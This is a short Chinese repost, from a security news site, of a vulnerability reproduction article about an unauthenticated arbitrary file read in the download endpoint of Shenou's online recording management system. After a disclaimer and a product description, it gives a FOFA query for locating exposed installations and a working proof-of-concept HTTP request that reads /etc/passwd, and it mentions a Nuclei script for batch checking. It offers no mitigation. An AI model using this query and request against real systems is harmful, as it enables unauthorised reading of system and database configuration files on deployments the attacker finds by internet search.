申瓯通信 在线录音管理系统 download 任意文件读取漏洞

admin 2024年6月26日13:19:58评论6 views字数 772阅读2分34秒阅读模式
0x01 免责声明

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!

0x02

产品介绍

申瓯通信在线录音管理系统是一款功能强大的录音管理解决方案,旨在满足公司、集团单位在区域分布下对录音数据的集中管理需求。该系统基于SOC1900、SOC1600等系列录音盒开发,是一个多线路、多设备、多区域的录音统一管理平台。该系统将各个分点的录音盒的录音统一集中到服务器,便于总部人员快速查看和管理,从而提升企事业单位的服务质量和管理效率。
0x03

漏洞威胁

申瓯通信在线录音管理系统 download 接口处任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
0x04

漏洞环境

FOFA:

title="在线录音管理系统"

申瓯通信 在线录音管理系统 download 任意文件读取漏洞

0x05

漏洞复现

POC

GET /main/download?path=/etc/passwd HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: keep-alive

申瓯通信 在线录音管理系统 download 任意文件读取漏洞

0x06

批量脚本验证

Nuclei验证脚本已发布

原文始发于微信公众号(冷漠安全):「漏洞复现」申瓯通信 在线录音管理系统 download 任意文件读取漏洞

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月26日13:19:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   申瓯通信 在线录音管理系统 download 任意文件读取漏洞http://cn-sec.com/archives/2886447.html

发表评论

匿名网友 填写信息